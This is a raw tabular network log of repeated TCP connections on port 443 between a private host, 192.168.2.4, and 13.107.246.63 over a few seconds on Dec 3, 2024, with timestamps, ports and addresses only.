Dec 3, 2024 17:55:25.086740971 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.086764097 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.087306976 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.087317944 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.140299082 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.140798092 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.140822887 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.141294956 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.141299963 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.362179995 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.362831116 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.362853050 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.363329887 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.363334894 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.409969091 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.414741039 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.414805889 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.414844036 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.414865017 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.414880037 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.414885998 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.418092966 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.418112040 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.418173075 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.418399096 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.418414116 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.526732922 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.529932022 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.530005932 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.530091047 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.530113935 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.530127048 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.530133009 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.534456015 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.534508944 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.534590006 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.534763098 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.534779072 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.598011971 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.600999117 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.601073980 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.601150036 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.601170063 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.601181984 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.601186991 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.604535103 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.604567051 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.604659081 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.604871988 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.604882956 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.771461010 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.772243023 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.772270918 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.773700953 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.773709059 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.823739052 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.826298952 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.826375961 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.826419115 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.826436043 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.826448917 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.826455116 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.830702066 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.830754042 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.830823898 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.830982924 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:25.830998898 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.218662977 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.221584082 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.221671104 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.221735954 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.221757889 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.221793890 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.221801043 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.226047993 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.226090908 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:26.226213932 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.226464033 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:26.226481915 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.272337914 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.272985935 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.273017883 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.273519039 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.273525000 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.283185959 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.283597946 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.283627033 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.284004927 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.284010887 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.399022102 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.399790049 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.399805069 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.400419950 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.400425911 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.649708986 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.650301933 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.650331020 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.650782108 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.650788069 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.719126940 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.719168901 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.719233036 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.719242096 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.719289064 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.719548941 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.719569921 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.719578028 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.719583988 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.722820044 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.722862959 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.723136902 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.723136902 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.723166943 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.742258072 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.742341995 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.742413998 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.742635012 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.742656946 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.742669106 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.742675066 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.745099068 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.745147943 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.745228052 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.745374918 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.745389938 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.855125904 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.855200052 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.855262041 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.855366945 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.855380058 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.855401993 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.855406046 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.857729912 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.857753038 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:27.857832909 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.857992887 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:27.858006954 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.033480883 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.034065962 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.034092903 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.034554958 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.034560919 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.106786013 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.109716892 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.109774113 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.109776974 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.109821081 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.109874964 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.109905958 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.109926939 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.109932899 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.112791061 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.112842083 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.112911940 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.113053083 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.113068104 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.480412006 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.480494976 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.480554104 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.481009960 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.481026888 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.481038094 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.481044054 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.485125065 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.485167027 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:28.485263109 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.485492945 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:28.485507011 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.469492912 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.470108986 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.470130920 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.471465111 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.471470118 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.520158052 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.520999908 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.521064043 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.522089958 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.522099018 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.584073067 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.584764957 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.584801912 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.585608006 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.585613966 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.907052994 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.909833908 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.909921885 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.909986973 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.910005093 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.910017967 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.910022974 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.914381027 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.914422989 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.914505005 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.914668083 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.914684057 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.960701942 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.961757898 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.961774111 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.963089943 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.963093042 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.966450930 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.969392061 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.969461918 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.969527006 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.969563007 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.969573975 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.969578981 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.974594116 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.974627018 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:29.974724054 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.974883080 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:29.974895000 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.044131994 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.047049999 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.047120094 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.047163963 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.047225952 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.050930023 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.050956011 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.050965071 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.050970078 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.054419041 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.054452896 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.054526091 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.054914951 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.054930925 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.269335985 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.270045042 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.270061016 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.271078110 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.271083117 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.419296026 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.421912909 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.422004938 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.422102928 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.422117949 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.422132015 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.422137976 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.426248074 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.426292896 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.426369905 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.426517010 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.426531076 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.718385935 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.721335888 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.721420050 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.721482038 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.721498966 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.721517086 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.721522093 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.724417925 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.724457979 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:30.724544048 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.724694014 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:30.724708080 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.705323935 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.706269979 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.706315041 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.707628012 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.707633972 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.819449902 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.820204020 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.820230961 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.820732117 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.820736885 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.839627028 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.840030909 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.840065002 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:31.840379953 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:31.840385914 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.152750969 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.155446053 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.155520916 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.155558109 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.155585051 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.155599117 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.155603886 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.158818960 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.158860922 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.158941031 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.159149885 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.159162998 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.210104942 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.210587025 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.210597038 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.211093903 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.211098909 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.280812025 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.284218073 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.284269094 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.284292936 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.284322023 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.284372091 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.284389973 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.284400940 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.284405947 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.286659002 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.287120104 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.287157059 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.287231922 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.287359953 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.287374020 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.294301033 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.294393063 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.294455051 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.294471025 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.294481993 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.294486046 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.296431065 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.296471119 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.296540022 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.296694994 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.296706915 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.455055952 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.457046032 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.457061052 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.457540989 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.457545042 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.658632994 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.661606073 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.661668062 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.661688089 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.661739111 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.661787033 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.661806107 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.661822081 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.661830902 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.661838055 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.666096926 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.666132927 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.666223049 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.666418076 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.666429043 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.958564997 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.961236954 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.961304903 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.961357117 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.961374044 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.961385012 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.961390972 CET	443	49890	13.107.246.63	192.168.2.4
